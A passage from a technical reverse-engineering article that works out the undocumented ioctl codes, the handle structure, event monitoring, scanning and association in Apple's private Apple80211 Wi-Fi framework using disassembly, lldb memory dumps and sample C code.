    # SetPower (1):
                    01 00 00 00 02 00 00 00 01 00 00 00 01 00 00 00
    
    
[/code]

Trying this same strategy by debugging
`/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport -I`,
yields interesting values, which - thanks to `airport`'s human readable
output, are quick to deduce. But it turns out there's another \(major\)
shortcut \(which made me re-write half this article\): Some of these are
\(somewhat\) documented in the Apple80211\_\*.h headers, as mentioned by
@comex, which was briefly available as part of the OS X 10.5 SDK \(XCode 3.3,
ah, nostalgia\!\) before Apple pulled it. It's obviously easier to cheat by
looking at the headers, which provide both the codes and the arguments they
expect \(_geez, @comex, why didn't you tell me this _before_ I reversed this
@\#%$\#%$\#?\!_\). So if you do grab the 10.5 SDK \(or just the headers, which
I've conveniently placed for you here\), you'll see the following values
\(table partially filled out, yeah, 'cause it's a \*ton\* of work.. you can
piece it together from the headers\).

\#| `APPLE80211_IOC_`| Expects| sizeof\(\)  
---|---|---|---  
1| `SSID`| char \*| 0x20  
2| `AUTH_TYPE`| .| .  
3| `CYPHER_KEY`| |   
4| `CHANNEL`| `uint32_t version = 1,  
uint32_t ch_version = 1,  
uint32_t ch_channel,  
bitmask_t ch_flags;`|  
5| `POWERSAVE`| ...  
6| `PROTMODE`|  
7| `TXPOWER 7 // req_type `  
8| `RATE 8 // req_type `  
9| `BSSID`| `uint32_t version = 1,  
char etherAddr[6]`  
10| `SCAN_REQ`|  
11| `SCAN_RESULT`|  
12| `CARD_CAPABILITIES`|  
13| `STATE`|  
14| `PHY_MODE`|  
15| `OP_MODE`|  
16 | `RSSI`|   
17| `NOISE`|  
18 | `INT_MIT`|   
19| `POWER`| uint32\_t version = 1,  
uint32\_t num\_radios  
uint32\_t power\[4\]| 0x18  
20| `ASSOCIATE`|  
21| `ASSOCIATE_RESULT`|  
22| `DISASSOCIATE`|  
23| `STATUS_DEV_NAME`|  
24| `IBSS_MODE`|  
25| `HOST_AP_MODE`|  
26 | `AP_MODE`| `uint32_t version = 1,   
enum 1 = adHoc, 2 = ap, 3 = ?`  
27| `SUPPORTED_CHANNELS`|  
28| `LOCALE`|  
29| `DEAUTH`|  
30| `COUNTERMEASURES`|  
| `FRAG_THRESHOLD`|  
| `RATE_SET`|  
| `SHORT_SLOT`|  
| `MULTICAST_RATE`|  
| `SHORT_RETRY_LIMIT`|  
| `LONG_RETRY_LIMIT`|  
| `TX_ANTENNA`|  
| `RX_ANTENNA`|  
| `ANTENNA_DIVERSITY`|  
40| `ROM`|  
| `DTIM_INT`|  
| `STATION_LIST`|  
| `DRIVER_VERSION`|  
| `HARDWARE_VERSION`|  
45 | `RAND`|   
| `RSN_IE`|  
| `BACKGROUND_SCAN`|  
| `AP_IE_LIST`|  
| `STATS`|  
50| `ASSOCIATION_STATUS`|  
| `COUNTRY_CODE`|  
| `DEBUG_FLAGS`|  
| `LAST_RX_PKT_DATA`| `uint32_t version = 1,  
uint32_t rate  
int32_t rssi  
uint32_t num_streams  
char ether_addr[6]`  
| `RADIO_INFO`|  
55 | `GUARD_INTERVAL`|   
| `MIMO_POWERSAVE`|  
| `MCS`|  
| `RIFS`|  
| `LDPC`|  
60 | `MSDU`|   
| `MPDU`|  
| `BLOCK_ACK`|  
| `PLS`|  
| `PSMP`|  
| `PHY_SUB_MODE`|  
| `MCS_INDEX_SET`|  
| `CACHE_THRESH_BCAST`|  
| `CACHE_THRESH_DIRECT`|  
| `WOW_PARAMETERS`|  
70 | `WOW_ENABLED`|   
71| `40MHZ_INTOLERANT`|  
### Apple80211EventMonitoring...

Ah. Finally something that's undocumented :-\) We can go by disassembly here,
or we can take a runtime-based approach. It's simple enough to write code to
dump the handle before and after a call to `Apple80211EventMonitoringInit()`.
We'll get something like this:

[code]

    Handle, Before:
    0x00: 03 00 00 00 65 6e 30 00 00 00 00 00 00 00 00 00 
    0x10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    0x20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    0x30: 00 00 00 00 00 00 00 00 eb 7e ff 2b ad 08 8d 00 
    0x40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    EVENT MONITORING: setting callback 0x1041a3cd0, context 0xfeedfeed
    Handle, After:
    0x00: 03 00 00 00 65 6e 30 00 00 00 00 00 00 00 00 00 
    0x10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    0x20: c0 20 41 50 de 7f 00 00 d0 3c 1a 04 01 00 00 00 
    0x30: ed fe ed fe 00 00 00 00 eb 7e ff 2b ad 08 8d 00 
    0x40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    
[/code]

As you can see, the callback and context are clearly visible in the handle, in
offsets 0x28 and 0x30, respectively. But what's that at 0x20? For now, let's
consider this a monitoring\_blob. And let's fool around with dumping the
handle during stages of monitoring:

When we start to monitor, by calling `Apple80211StartMonitoringEvent()`, we
see:

[code]

    EVENT MONITORING: setting callback 0x108ecfc00, context: 0xfeedfeed
    Handle:
    03 00 00 00 65 6e 30 00 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    c0 01 50 e3 b7 7f 00 00 00 fc ec 08 01 00 00 00 
    ed fe ed fe 00 00 00 00 eb 7e ff 2b ad 08 8d 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    STARTING TO MONITOR 0x01, 0x02,0x03,0x04, 0x40,0x42
    Handle:
    03 00 00 00 65 6e 30 00 00 00 00 00 00 00 00 00 
    00 00 00 00 0f 00 00 00 00 00 00 80 02 00 00 00 
    c0 01 50 e3 b7 7f 00 00 00 fc ec 08 01 00 00 00 
    ed fe ed fe 00 00 00 00 eb 7e ff 2b ad 08 8d 00 
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
    
[/code]

So our previous unknowns - 5,6,7 - are now a bitmap for events monitored \(in
practice, only up to 0x45 are actually monitored\). `used_for_monitoring1`
\(@0x20\) is the blob, unknown8-9 \(@0x28\) is the user-defined callback, and
unknown10-11 is the context. So we have:

[code]

    /* We know the size if 0x50, since this gets malloc()ed.. */
    #define IFNAMSIZ        16
    struct Apple80211 {
     /* 0x00 */     uint32_t        socket;   // Used for ioctl()
     /* 0x04 */     char            ifName[IFNAMSIZ];
     /* 0x14 */     char            monitored_events_bitmap[0xc];
     /* 0x20 */     uint64_t        monitoring_blob;   // 1ac9: cmpq    $0x0, 0x20(%rbx)
     /* 0x28 */     uint64_t        monitoring_callback;
     /* 0x30 */     uint64_t        monitoring_context;
     /* 0x38 */     uint64_t        binding_handle;
     /* 0x40 */     uint32_t        unknown14;
     /* 0x44 */     uint32_t        unknown15;
     /* 0x48 */     uint64_t        used_for_monitoring2;  // 1ad0: cmpq    $0x0, 0x48(%rbx)
    
    };
    
[/code]

That "used\_for\_monitoring2" which we still don't exactly know there can be
figured out by looking at the disassembly of `Apple80211EventMonitoringHalt`:

[code]

    _Apple80211EventMonitoringHalt:
    0000000000001af0        pushq   %rbp
    0000000000001af1        movq    %rsp, %rbp
    0000000000001af4        pushq   %rbx
    0000000000001af5        pushq   %rax
    0000000000001af6        movq    %rdi, %rbx              ; rbx = arg1 = handle
    ; if (! handle) return (0xfffff0c4);
    0000000000001af9        movl    $0xfffff0c4, %eax       ## imm = 0xFFFFF0C4
    0000000000001afe        testq   %rbx, %rbx              
    0000000000001b01        je      0x1b4e
    ; if (! handle->monitoringblob) goto after;
    0000000000001b03        movq    0x20(%rbx), %rdi
    0000000000001b07        testq   %rdi, %rdi
    0000000000001b0a        je      0x1b22
    ; So now we figure out that monitoring blob is a CFSocket!
    ; _CFSocketInvalidate(handle->monitoringblob);
    0000000000001b0c        callq   0x1e43c                 ## symbol stub for: _CFSocketInvalidate
    0000000000001b11        movq    0x20(%rbx), %rdi
    ; _CFRelease(handle->monitoringblob);
    0000000000001b15        callq   0x1e418                 ## symbol stub for: _CFRelease
    0000000000001b1a        movq    $0x0, 0x20(%rbx)
    after:
    ; if (! handle->used_for_monitoring2) goto after1
    0000000000001b22        movq    0x48(%rbx), %rdi
    0000000000001b26        testq   %rdi, %rdi
    0000000000001b29        je      0x1b38
    ; dispatch_source_cancel(handle->used_for_monitoring2) ; so it's a dispatch source
    0000000000001b2b        callq   0x1e4ea                 ## symbol stub for: _dispatch_source_cancel
    ; after1
    ; memset to '\0':
    0000000000001b30        movq    $0x0, 0x48(%rbx)  ; dispatch_source
    0000000000001b38        movq    $0x0, 0x28(%rbx)  ; monitoring_callback
    0000000000001b40        movb    $0x0, 0x1c(%rbx)  ; bitmap
    0000000000001b44        movq    $0x0, 0x14(%rbx)  ; bitmap
    
[/code]

So now we have:

[code]

    /* We know the size if 0x50, since this gets malloc()ed.. */
    #define IFNAMSIZ        16
    struct Apple80211 {
     /* 0x00 */     uint32_t        socket;   // Used for ioctl()
     /* 0x04 */     char            ifName[IFNAMSIZ];
     /* 0x14 */     char            monitored_events_bitmap[0xc];
     /* 0x20 */     uint64_t        cfsocket_used_for_monitoring;   // 1ac9: cmpq    $0x0, 0x20(%rbx)
     /* 0x28 */     uint64_t        monitoring_callback;
     /* 0x30 */     uint64_t        monitoring_context;
     /* 0x38 */     uint64_t        binding_handle;
     /* 0x40 */     uint32_t        unknown14; /* probably also a uint64_t */
     /* 0x44 */     uint32_t        unknown15; /* as you'll see in a bit */
     /* 0x48 */     uint64_t        monitoring_dispatch_source;    // 1ad0: cmpq    $0x0, 0x48(%rbx)
    
    };
    
[/code]

Looking through the code of `Apple80211EventMonitoringInit`, something in
particular sticks out:

[code]

    0000000000011f38        movl    $0x20, %edi
    0000000000011f3d        movl    $0x3, %esi
    0000000000011f42        movl    $0x1, %edx
    0000000000011f47        callq   0x1e562                 ## symbol stub for: _socket
    ; s = socket (PF_SYSTEM, SOCK_RAW, SYSPROTO_EVENT);
    0000000000011f4c        movl    %eax, %r13d
    0000000000011f4f        testl   %r13d, %r13d
    0000000000011f52        js      0x12023
    ; if (s < 0) goto 0x12023, error...
    
    0000000000011f58        movl    0xfe2a(%rip), %eax
    0000000000011f5e        movl    %eax, -0x30(%rbp)
    0000000000011f61        movq    0xfe18(%rip), %rax
    0000000000011f68        movq    %rax, -0x38(%rbp)
    0000000000011f6c        leaq    -0x38(%rbp), %rdx
    0000000000011f70        movl    $0x800c6502, %esi       ## imm = 0x800C6502
    0000000000011f75        xorl    %eax, %eax
    0000000000011f77        movl    %r13d, %edi
    0000000000011f7a        callq   0x1e526                 ## symbol stub for: _ioctl
    ; rc = ioctl(s,SIOCSKEVFILT, &kev_request);
    0000000000011f7f        testl   %eax, %eax
    ; if (rc < 0) goto 0x12023, error...
    0000000000011f81        jne     0x12023
    
    
[/code]

The monitoring, therefore, takes place through a raw system event socket
\(book, chapter 16\). This code is essentially the same as the internal
`__openEventSocket`, which was probably inlined in this case. Seems like this
is standard practice - several daemons in OS X and iOS listen on it:

[code]

    root@Zephyr (~)# procexp all fds | grep 8021
    locationd          219 FD 10u  socket system Event:   APPLE:IEEE80211:1
    sharingd           199 FD 10u  socket system Event:   APPLE:IEEE80211:1
    UserEventAgent     177 FD  5u  socket system Event:   APPLE:IEEE80211:1
    blued               57 FD  5u  socket system Event:   APPLE:IEEE80211:1
    airportd            29 FD 21u  socket system Event:   APPLE:IEEE80211:1
    airportd            29 FD 25u  socket system Event:   APPLE:IEEE80211:1
    airportd            29 FD 27u  socket system Event:   APPLE:IEEE80211:1
    airportd            29 FD 28u  socket system Event:   APPLE:IEEE80211:1
    airportd            29 FD 32u  socket system Event:   APPLE:IEEE80211:1
    configd             24 FD 13u  socket system Event:   APPLE:IEEE80211:1
    # And meanwhile, in iOS:
    Phontifex:~ root# procexp all fds | grep 8021
    wifid               80 FD  5u  socket system Event:   APPLE:IEEE80211:1
    wifid               80 FD  9u  socket system Event:   APPLE:IEEE80211:1
    
[/code]

The rest of the `..MonitoringInit` function converts the socket to a
`CFSocket` so it can be added as a dispatch source to the run loop. It also
installs its own call back, which serves as a filter \(with the bitmap\) for
the events added by `Apple80211StartMonitoringEvent`, which - if you sift
through the code - you'll see is nothing more than in memory operations \(no
function calls\). So we have monitoring figured out, too. And almost all of
the handle, besides unknown14 and 15... So we're almost done, but how do we
find unknown14 and 15, which are probably also some 64-bit quantity? Well,
considering that 80211 has a penchant for using %rbx the handle, a search for
`0x40(%rbx)` reveals this snippet, in `Apple80211ScanAsync`

[code]

    _Apple80211ScanAsync:
    ..
    000000000000efad        movq    %rsi, %r15           ; r15 = saved arg2
    ..
    000000000000efff        leaq    0x40(%rbx), %rcx     ; arg3 = handle + 0x40
    000000000000f003        movw    $0x1, 0x40(%rbx)     ; handle[40] = 1
    000000000000f009        leaq    0x41(%rbx), %r9      
    000000000000f00d        leaq    -0x9b8(%rbp), %r12   ; r12 = local buffer
    000000000000f014        xorl    %edx, %edx           ; arg4 = 0
    000000000000f016        xorl    %r8d, %r8d           ; arg5  = 0
    000000000000f019        movq    %r15, %rdi           ; arg1 = saved arg2
    000000000000f01c        movq    %r12, %rsi           ; arg2 = local buffer
    000000000000f01f        callq   __getScanData
    
[/code]

Meaning offset 0x40 is used to hold asynchronous scan data - and is indeed a
64-bit pointer. But what exactly is it? Let's talk about scanning, next.

### Apple80211Scan\*

`Apple80211` offers three forms of scanning: `..Scan`, `..ScanAsync` and
`..ScanDynamic`. All three are quite similar, calling on a helper function of
`__getScanData`, and `__WaitForScanResults`.`Apple80211Scan`'s code prolog
\(`0x000d6c8`\) is actually incorrectly processed by `otool`. The function
takes three arguments: The handle, a non NULL pointer \(which is
`(CFDictionaryRef *)` used for results\), and another pointer
\(`CFDictionaryRef)`\) which is used for scan parameters.

Figuring out the results is easy, using three lines of code to dump the
`CFDictionaryRef`. This would look something like this code:

[code]

    ..
       Apple80211Ref handle;
       int rc = Apple80211Open(&handle);
       CFStringRef ifName = CFStringCreateWithCString(kCFAllocatorDefault, "en0",
                                             kCFStringEncodingISOLatin1);
       if (rc) { fprintf(stderr, "Apple80211Open failed..\n"); }
       rc = Apple80211BindToInterface(handle, ifName);
       if (rc) { fprintf(stderr, "Apple80211BindToInterface failed..\n"); }
    
       CFDictionaryRef returnedDict;
       rc = Apple80211Scan(handle, &returnedDict, NULL);
    
       if (rc) { fprintf(stderr, "Apple80211Scan returned %d\n", rc);}
    
       // This has been deprecated in 10.10. Meh
       CFDataRef xml = CFPropertyListCreateXMLData(kCFAllocatorDefault,
                                                  (CFPropertyListRef)returnedDict);
      if (xml) {
            write(1, CFDataGetBytePtr(xml), CFDataGetLength(xml));
            CFRelease(xml);
            }
    
    
    
[/code]

The dict dump produces the following output:

[code]

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <array>
    ...
            <dict>
                    <key>**80211D_IE** </key>  Information elements for 80211.d, restricting channels/power as per local legislation
                    <dict>
                            <key>**IE_KEY_80211D_CHAN_INFO_ARRAY** </key>
                            <array>
                                    <dict>
                                            <key>**IE_KEY_80211D_FIRST_CHANNEL** </key> <integer>1</integer>
                                            <key>**IE_KEY_80211D_MAX_POWER** </key> <integer>36</integer>
                                            <key>**IE_KEY_80211D_NUM_CHANNELS** </key> <integer>13</integer>
                                    </dict>
                            </array>
                            <key>**IE_KEY_80211D_COUNTRY_CODE** </key> <string>IN</string>
                    </dict>
                    <key>**AGE** </key>     > 0  - cached. 0 - freshly discovered by scan, not cached
                    <integer>15000</integer>
                    <key>**AP_MODE** </key> 2 - Base station. 1 - Ad hoc
                    <integer>2</integer>
                    <key>**BEACON_INT** </key> Sends beacon frames every 100 seconds
                    <integer>100</integer>
                    <key>**BSSID** </key> Access point MAC
                    <string>5c:e:8b:f5:61:20</string>
                    <key>**CAPABILITIES** </key>
                    <integer>-31743</integer>
                    <key>**CHANNEL** </key>  Channel (1,2,...11,.. etc)
                    <integer>11</integer>
                    <key>**CHANNEL_FLAGS** </key>
                    <integer>10</integer>
                    <key>**HT_CAPS_IE** </key>  capability information elements for 80211n
                    <dict>
                            <key>**AMPDU_PARAMS** </key> <integer>23</integer>
                            <key>**ASEL_CAPS** </key> <integer>0</integer>
                            <key>**CAPS** </key> <integer>12</integer>
                            <key>**EXT_CAPS** </key> <integer>0</integer>
                            <key>**MCS_SET** </key> <data> //8AAAAAAAAAAAAAAAAAAA== </data>
                            <key>**TXBF_CAPS** </key> <integer>0</integer>
                    </dict>
                    <key>**HT_IE** </key>  various information elements for 80211n
                    <dict>
                            <key>**HT_BASIC_MCS_SET** </key> <data> AAAAAAAAAAAAAAAAAAAAAA== </data>
                            <key>**HT_DUAL_BEACON** </key> <false/>
                            <key>**HT_DUAL_CTS_PROT** </key> <false/>
                            <key>**HT_LSIG_TXOP_PROT_FULL** </key> <false/>
                            <key>**HT_NON_GF_STAS_PRESENT** </key> <true/>
                            <key>**HT_OBSS_NON_HT_STAS_PRESENT** </key> <true/>
                            <key>**HT_OP_MODE** </key> <integer>1</integer>
                            <key>**HT_PCO_ACTIVE** </key> <false/>
                            <key>**HT_PCO_PHASE** </key> <false/>
                            <key>**HT_PRIMARY_CHAN** </key> <integer>11</integer>
                            <key>**HT_PSMP_STAS_ONLY** </key> <false/>
                            <key>**HT_RIFS_MODE** </key> <true/>
                            <key>**HT_SECONDARY_BEACON** </key> <false/>
                            <key>**HT_SECONDARY_CHAN_OFFSET** </key> <integer>0</integer>
                            <key>**HT_SERVICE_INT** </key> <integer>0</integer>
                            <key>**HT_STA_CHAN_WIDTH** </key> <false/>
                            <key>**HT_TX_BURST_LIMIT** </key> <true/>
                    </dict>
                    <key>**IE** </key> Information elements (Base64-encoded)
                    <data>
                    ABZMZSBNZXJpZGllbiwgTmV3IERlbGhpAQiChIsMEpYYJAMBCwcGSU5JAQ0k
                    KgEEMgQwSGBsCwUDAA8Sei0aDAAX//8AAAAAAAAAAAAAAAAAAAAAAAAAAAA9
                    FgsIHQAAAAAAAAAAAAAAAAAAAAAAAABKDhQACgC0ABQAFAACAAoAfwYBAAAA
                    AACtDwCg+AMABQAaAAAAEYtIVd0YAFDyAgEBgAADpAAAJ6QAAEJDXgBiMi8A
                    3R4AoPgDAAEAAAAAAAAZbViCAGUAAVwOi/dilAABGAs=
                    </data>
                    <key>**NOISE** </key> Noise - lower values are better 
                    <integer>-87</integer>
                    <key>**RATES** </key> Transfer rates (corresponding to 80211[abdefgin] class)
                    <array>
                            <integer>1</integer>
                            <integer>2</integer>
                            <integer>5</integer>
                            <integer>6</integer>
                            <integer>9</integer>
                            <integer>11</integer>
                            <integer>12</integer>
                            <integer>18</integer>
                            <integer>24</integer>
                            <integer>36</integer>
                            <integer>48</integer>
                            <integer>54</integer>
                    </array>
                    <key>**RSSI** </key> Relative Signal Strength Indicator - higher values better
                    <integer>-73</integer>
                    <key>**SSID** </key>  The SSID, as a CFData blob, in Base64
                    <data>
                    TGUgTWVyaWRpZW4sIE5ldyBEZWxoaQ==
                    </data>
                    <key>**SSID_STR** </key> The SSID, as the string it should be
                    <string>Le Meridien, New Delhi</string>
            </dict>
    </array>
    </plist>
    
[/code]

So, to summarize, we have the results returned in an array of dictionaries,
with each dictionary corresponding to an access point, and containing keys,
some of whose values are dicts in themselves \(eek\!\). Note that there may be
multiple results for the same SSID \(if it is provided by multiple BSSIDs\).
Though that can be toggled with parameters - notably `SCAN_MERGE`. A quick and
somewhat dirty way of getting most of the parameters is thus:

[code]

    Zephyr:~ morpheus$ otool -tV /System/Library/PrivateFrameworks/Apple80211.framework/Apple80211  |
    grep \"SCAN_  | cut -d'@' -f2  | sort -u
    # Note this will miss SSID_STR and BSSID, which you can see in the dump of __getScanData
    "SCAN_BSSID_LIST"   # Limit scan to specific BSSIDs (MAC Addresses)
    "SCAN_BSS_TYPE"     # CFNumber: 1 - Ad hoc, 2 - BSS. Can be |'ed
    "SCAN_CHANNELS"     # CFArray of CFDicts of CHANNEL and CHANNEL_FLAGS (both CFNumbers) representing channels to scan
    "SCAN_CLOSED_NETWORKS" # CFBoolean
    "SCAN_CYCLE_REST_TIME" # Pause between scans
    "SCAN_DIRECTED"     # Scan for specific SSIDs/BSSIDs
    "SCAN_DWELL_TIME"   # Duration of each scan
    "SCAN_MERGE"        # CFBoolean "true" if merge duplicate SSIDs on different BSSIDs
    "SCAN_NUM_SCANS"    # # of times to scan
    "SCAN_P2P"	    # Peer-to-Peer (awdl0) also
    "SCAN_PHY_MODE"     # A, B, G, N, or AUTO(1) with optional submodes
    "SCAN_REST_TIME"    # Pause between scans
    "SCAN_SSID_LIST"    # CFArray of CFStrings for SSIDs to scan, if SCAN_DIRECTED
    "SCAN_TYPE"	    # 1 - Active, 2 - Passive, 3 - Fast, 4 - Background (notify via kevent)
    
[/code]

If the above is confusing, here's a sample dict:

[code]

    <dict>
            <key>SCAN_BSS_TYPE</key> <integer>2</integer> Scanned for Infrastructure
            <key>SCAN_CHANNELS</key>
            <array>
                    <dict>
                            <key>CHANNEL</key>       <integer>11</integer>
                            <key>CHANNEL_FLAGS</key> <integer>10</integer>   2.4 GHz (8) + 20 Mhz Wide (2)
                    </dict>
            </array>
            <key>SCAN_MERGE</key> <true/>
            <key>SCAN_TYPE</key> <integer>1</integer> Active
        	<key>SSID_STR</key>
    	<string>Le Meridien, New Delhi</string>
    </dict>
    
    
[/code]

And as you look at this, don't shoot the messenger. I didn't write this
@\#%$\#%$\#. Apple did. And this is just the gist of it. You can also specify
`SCAN_[B]SSID_LIST` as a list of SSIDs or BSSIDs \(base station MACs\) to
filter on. Crazy.

The driver, obviously, doesn't care for all that CF\* encapsulation. Give it
C-Strings and integers. tting a breakpoint on the scan shows us the following
structure:

[code]

    (lldb) mem read $rdx
    0x7fff5fbff590: 65 6e 30 00 00 00 00 00 00 00 00 00 00 00 00 00  en0.............
    0x7fff5fbff5a0: 0a 00 00 00 00 00 00 00 54 09 00 00 00 00 00 00  ........T.......
    0x7fff5fbff5b0: 98 e7 bf 5f ff 7f 00 00 05 00 00 00 00 00 00 00  .?_?...........
    # Note code (0xA, APPLE80211_IOC_SCAN_REQ) and struct size (0x54)
    (lldb) mem read 0x7fff5fbfe798
    0x7fff5fbfe798: 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00  ................
                    __version__ __bsstype__ _bssid (MAC)_____
    0x7fff5fbfe7a8: 16 00 00 00 4c 65 20 4d 65 72 69 64 69 65 6e 2c  ....Le Meridien,
                    __ssid_len_  ________SSID__ (up to 32 bytes)___
    0x7fff5fbfe7b8: 20 4e 65 77 20 44 65 6c 68 69 00 00 00 00 00 00   New Delhi......
    0x7fff5fbfe7c8: 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00  ................
                    ___________ _scan_type_ __phy_mode_  __dwell__
    0x7fff5fbfe7d8: 00 00 00 00 01 00 00 00 01 00 00 00 0b 00 00 00  ................
                    ___rest____ _num_chan__ _chan_vers_ _chan(11)__
    0x7fff5fbfe7e8: 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
                    __ch_flags_
    
[/code]

Playing around with the scan parameters produces the fields above very
quickly, as does looking at the leaked headers @comex pointed out to:

[code]

    struct apple80211_scan_data
    {
            u_int32_t                  version;                             // = 1
            u_int32_t                  bss_type;                            // apple80211_apmode
            struct ether_addr          bssid;                               // target BSSID
            u_int32_t                  ssid_len;                            // length of the SSID
            u_int8_t                   ssid[APPLE80211_MAX_SSID_LEN];
            u_int32_t                  scan_type;                           // apple80211_scan_type
            u_int32_t                  phy_mode;                            // apple80211_phymode vector
            u_int16_t                  dwell_time;                          // time to spend on each channel (ms)
            u_int32_t                  rest_time;                           // time between scanning each channel (ms)
            u_int32_t                  num_channels;                        // 0 if not passing in channels
            struct apple80211_channel  channels[APPLE80211_MAX_CHANNELS];   // channel list
    };
    
[/code]

So scanning is figured out. `_IOW('i', 200, struct apple80211_ioctl_str)` is
used for the scan request - `0x802869c8`, rather than `0xc02869c9`, which is
used for get.

Getting the scan results uses code 0xb. Continuing with the same breakpoint on
`ioctl`, you'll see:

[code]

    Process 10991 stopped
    * thread #1: tid = 0x9026a, 0x00007fff86138918 libsystem_kernel.dylib`ioctl, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
        frame #0: 0x00007fff86138918 libsystem_kernel.dylib`ioctl
    ..
    (lldb) mem read $rdx # Get arg3 of ioctl
    0x7fff5fbff590: 65 6e 30 00 00 00 00 00 00 00 00 00 00 00 00 00  en0.............
    0x7fff5fbff5a0: 0b 00 00 00 00 00 00 00 98 00 00 00 00 00 00 00  ................
    0x7fff5fbff5b0: f0 f4 bf 5f ff 7f 00 00 05 00 00 00 00 00 00 00  ???_?...........
    # Note code 0xb above, and size of 0x98
    # Allow ioctl(2) to return, and examine contents
    (lldb) thread step-out
    (lldb) mem read 0x7fff5fbff4f0
    0x7fff5fbff4f0: 01 00 00 00 01 00 00 00 0b 00 00 00 0a 00 00 00  ................
    0x7fff5fbff500: 00 00 a9 ff 00 00 b7 ff 64 00 01 84 5c 0e 8b f5  ..??..??d...\..?
                     __noise___  __rssi____  |          ____bssid__
                                     beacon interval
    0x7fff5fbff510: 61 20 0c 00 01 00 00 00 02 00 00 00 05 00 00 00  a ..............
                    _____
    0x7fff5fbff520: 06 00 00 00 09 00 00 00 0b 00 00 00 0c 00 00 00  ................
    0x7fff5fbff530: 12 00 00 00 18 00 00 00 24 00 00 00 30 00 00 00  ........$...0...
    0x7fff5fbff540: 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  6...............
    0x7fff5fbff550: 16 4c 65 20 4d 65 72 69 64 69 65 6e 2c 20 4e 65  .Le Meridien, Ne
         ssid_len---+  |----------------------------------SSID-----
    0x7fff5fbff560: 77 20 44 65 6c 68 69 00 00 00 00 00 00 00 00 00  w Delhi.........
                    -(ssid_len bytes)--
    0x7fff5fbff570: 00 00 00 00 98 3a 00 00 00 00 d4 00 00 00 00 00  .....:....?.....
                                ___age_____
    0x7fff5fbff580: f0 f0 bf 5f ff 7f 00 00 ...........
    
    
[/code]

And so you can figure out the scan results structure \(which I did not find in
the headers\) rather easily, by printing the results dict \(as I showed
above\), and correlating with this.

### Apple80211\[Dis\]Associate

Let's start with `Apple80211DisAssociate`: That's easy. It's just
`Apple80211Set(arg, 0x16, 0 , 0, 0)`. Looking at the table back there you'll
see 0x16 - decimal 22 - that's `APPLE80211_IOC_DISASSOCIATE`. Makes sense.

`Apple80211Associate` turns out to be a wrapper, internally calling
`Apple80211Associate2(arg1, arg2, arg3, 0);`. The `arg1` is our Handle. `arg2`
is a CFDictionary. See below:

[code]

    _Apple80211Associate2:
    000000000000f8ad     ... standard prototype, setting a stack of 0x3a8 bytes and stack_chk_guard ...
    		     ... -0x3b0(%rbp) holds rcx (arg4) r14 holds rdx (arg3), rbx holds rsi, r13 holds rdi (arg1)...
    000000000000f8df     leaq    -0x220(%rbp), %r12
    000000000000f8e6     movl    $0x1d0, %esi            ## imm = 0x1D0
    000000000000f8eb     movq    %r12, %rdi
    000000000000f8ee     callq   0x1e4a8                 ## symbol stub for: ___bzero
    ; memset (bp-0x220, '\0', 0x1d0);
    000000000000f8f3     movl    $0x1, -0x220(%rbp)      ; *(rbp-0x220) = 1
    ; r15 holds what will eventually be the return value. Code could be more optimized..
    000000000000f8fd     xorl    %r15d, %r15d
    ; if (!handle) { goto 0x103ee; }
    000000000000f900     testq   %r13, %r13 
    000000000000f903     je      0x103ee
    000000000000f909     xorl    %r15d, %r15d
    ; if (handle->socket <= 0) { goto 0x0103ee; }
    000000000000f90c     cmpl    $0x0, (%r13)
    000000000000f911     js      0x103ee
    ; if (!handle->ifName[0]) { goto 0x103ee; }
    000000000000f917     xorl    %r15d, %r15d
    000000000000f91a     cmpb    $0x0, 0x4(%r13)
    000000000000f91f     je      0x103ee
    ; if (arg2 == 0) { goto 0x103ee; }
    000000000000f925     testq   %rbx, %rbx
    000000000000f928     je      0x103ee
    000000000000f92e     movq    %r14, -0x3b8(%rbp)    ; save arg3 for future ref in rbp-0x3b8
    ; memset (rbp -0x230, '\0', 0x30);
    000000000000f935     xorps   %xmm0, %xmm0
    000000000000f938     movaps  %xmm0, -0x240(%rbp)
    000000000000f93f     movaps  %xmm0, -0x250(%rbp)
    000000000000f946     movq    $0x0, -0x230(%rbp)
    ; This shows us that arg2 is a dictionary, with the @"SSID" Key...
    000000000000f951     leaq    0x12ec8(%rip), %rsi     ## Objc cfstring ref: @"SSID"
    000000000000f958     movq    %rbx, %rdi
    000000000000f95b     movq    %rbx, %r14              ; Save arg2 for future ref as r14
    000000000000f95e     callq   0x1e3e8                 ## symbol stub for: _CFDictionaryGetValue
    000000000000f963     movq    %rax, %rbx
    ; CFData ssidVal =  CFDictionaryGetValue ((CFDictionaryRef) arg2, (const void *) @"SSID");
    ; if (!rbx) { goto 0x103ee; } 
    000000000000f966        xorl    %r15d, %r15d
    000000000000f969        testq   %rbx, %rbx
    000000000000f96c        je      0x103ee
    ;
    ; ssidLen = rbp(-0x214) = CFDataGetLength (ssidVal);
    000000000000f972        movq    %rbx, %rdi
    000000000000f975        callq   0x1e3d0                 ## symbol stub for: _CFDataGetLength
    ; if (ssidLen > 0x1f) { goto 0x103ee }
    000000000000f97a        movl    %eax, -0x214(%rbp)
    000000000000f980        leal    -0x1(%rax), %ecx
    000000000000f983        xorl    %r15d, %r15d
    000000000000f986        cmpl    $0x1f, %ecx
    000000000000f989        ja      0x103ee
    000000000000f98f        movl    $0x802869c8, %ecx       ## imm = 0x802869C8
    000000000000f994        leaq    0x7fd79637(%rcx), %rcx
    000000000000f99b        andq    %rcx, %rax
    
    000000000000f99e        leaq    -0x210(%rbp), %rcx
    000000000000f9a5        xorl    %esi, %esi
